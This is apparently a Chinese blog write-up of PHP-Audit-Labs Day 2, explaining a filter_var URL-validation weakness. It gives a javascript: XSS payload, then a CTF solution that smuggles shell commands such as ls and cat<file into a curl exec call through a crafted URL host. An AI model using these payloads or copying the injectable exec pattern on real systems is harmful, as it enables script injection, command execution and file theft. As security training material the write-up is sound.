1. 程式人生 > 實用技巧 >PHP-Audit-Labs-Day2 - filter_var函式缺陷

PHP-Audit-Labs-Day2 - filter_var函式缺陷

目錄

分析

先看原始碼

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '<img ' .
      'src="https://loremflickr.com/320/240">' .
      '<a href="{{link|escape}}">Next slide &raquo;</a>';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' => $indexTemplate
    ]);
    $this->twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this->twig->render(
      'index.html',
      ['link' => $this->getNexSlideUrl()]
    );
  }
}

(new Template())->render();

漏洞點在10行的escape和第22行的filter_var函式。他先是用Twig自帶的escape過濾器對link進行過濾,但是escape過濾器的實現是使用了php的內建函式htmlspecialchars,看一下這個函式的用法:

(PHP 4, PHP 5, PHP 7)
htmlspecialchars — 將特殊字元轉換為 HTML 實體

轉換的特殊字元如下:

字元	替換後
& (& 符號)	&amp;
" (雙引號)	&quot;,除非設定了 ENT_NOQUOTES
' (單引號)	設定了 ENT_QUOTES 後, &#039; (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小於)	&lt;
> (大於)	&gt;

示例

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; 

結果是 <a href='test'>Test</a>
接著是$nextSlide變數,使用GET方式接收,使用者可控,但是使用了filter_var處理,看一下filter_var函式。

(PHP 5 >= 5.2.0, PHP 7)
filter_var — 使用特定的過濾器過濾一個變數
filter_var(待過濾的引數,使用的過濾器)

這裡使用的是FILTER_VALIDATE_URL過濾器,FILTER_VALIDATE_URL 過濾器把值作為 URL 來驗證。
payload是用到了javascript偽協議。濃縮一下上面的原始碼:

<?php
$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
echo '<br>';
$url = htmlspecialchars($url);
var_dump($url);
echo '<br>';
echo "<a href='$url'>Next slide</a>";

payload

payload:
?url=javascript://comment%250aalert(123);

結果

我們看一下這個payload,在javascript中//代表單行註釋,但是因為在alert(123)之前加了%0a,%0a是換行符,所以alert(123)與//不在一行。這裡之所以將%0a改成%250a,是因為瀏覽器會進行一次編碼,所以我們提前將%編碼成%25,那麼瀏覽器將

?url=javascript://comment%250aalert(123);

解碼成

?url=javascript://comment%0aalert(123);

然後執行程式儲存在$url變數裡。

修復建議

對XSS漏洞最好就是過濾關鍵字,將特殊字元進行HTML實體編碼替換

Day02-CTF題解

題目原始碼:

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

大致看一下原始碼,第7行exec執行curl命令,很容易能想到命令執行,$site_info['host']是對我們輸入的url引數分解拿到的主機名,在第6行的正則匹配的時候,$site_info['host']必須是sec-redclub.com。原始碼的邏輯就是使用者輸入url引數,然後filter_var函式使用FILTER_VALIDATE_URL過濾器對url進行過濾,接著parse_url提取出主機名,如果主機名是sec-redclub.com則exec執行curl命令。
先得繞過filter_var的FILTER_VALIDATE_URL過濾去,繞過方法:

http://localhost/index.php?url=http://[email protected]
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最後一個payload的#符號,請換成對應的url編碼 %23

payload

http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/

payload解碼後是

http://localhost/index.php?url=demo://";ls;#;sec-redclub.com:80/

直接用 cat f1agi3hEre.php 命令的時候,過不了 filter_var 函式檢測,因為包含空格,具體payload如下:

http://localhost/index.php?url=demo://%22;cat<f1agi3hEre.php;%23;sec-redclub.com:80/

參考連結

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs題解/Day1-4/files/README.md